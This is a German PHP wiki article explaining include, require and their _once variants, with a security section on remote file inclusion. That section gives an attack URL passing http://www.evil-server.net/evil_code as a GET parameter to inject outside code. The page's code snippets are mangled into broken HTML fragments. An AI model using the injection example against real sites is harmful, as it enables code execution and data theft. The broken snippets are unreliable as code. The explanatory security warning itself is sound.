include

Aus php bar
Wechseln zu: Navigation, Suche

Mit include ist es möglich, eine andere Datei in ein Script einzubinden. Das PHP-Script lädt die angegebene Datei und führt die Befehle darin aus. Es wird kein neuer Prozess oder Thread gestartet, PHP behandelt die Datei so, als stände der Inhalt dieser Datei im aktuellen Script. Somit kann man alle Variablen, Konstanten, Funktionen und Klassen in der neuen Datei weiterbenutzen. Somit kann man diverse Teile eines Scripts in mehrere Dateien auslagern und diese Dateien mit include() laden.

Varianten

include

Dieser Sprachkonstrukt lädt die angegebene Datei in das aktuelle Script und führt die Befehle darin aus. Wenn die Datei nicht geladen werden konnte, weil sie z.B. nicht existiert, erscheint eine Warning-Fehlermeldung.

1 span class="st0">'/home/sutermar/public_htm/sradcontrol/web.php';


require

require funktioniert fast wie include. Jedoch erzeugt require eine Fatal Error-Fehlermeldung und bricht das Script entsprechend sofort ab, wenn die Datei nicht geladen werden konnte.

1 span class="st0">'pfad/skript.php';


include_once

Bei include_once merkt sich PHP, dass er die angegebene Datei geladen hat. Bei einen erneuten Aufrufen der angegebenen Datei wird diese nicht ausgeführt. Dies hat den Vorteil, dass man nicht aus Versehen zweimal eine Klassendeklaration lädt.

1 span class="st0">'pfad/skript.php';


require_once

Wie include_once und require.

1 span class="st0">'pfad/skript.php';


Beispiele

Klasse

1 span class="coMULTI">/**
2  * Klasse
3  */


edit_objekt.php

1 span class="st0">'MeineKlasse.class.php'


delete_objekt.php

1 span class="st0">'MeineKlasse.class.php'


Sicherheit

Wenn die Einstellung allow_url_fopen aktiviert ist, ist es auch möglich, eine externe Seite in das eigene Script einzubinden. Bei schlechter Programmierung kann dies zu Sicherheitsrisiken im eigenen Script führen, insbesondere wenn include über GET-Parameter gesteuert wird:

1 span class="st0">'section'];


Bei datei.php?section=news passiert nichts schlimmes und ist ggf. auch gewollt. Bei datei.php?section=http://www.evil-server.net/evil_code hingegen kann ein Besucher der Seite fremden Quellcode in das Script einschleusen, die dann alles mögliche machen können, wie Passwörter auslesen oder Daten verarbeiten/löschen.

Um dieses Risiko zu beheben, sollte man allow_url_fopen deaktivieren und/oder ein Array-Include verwenden.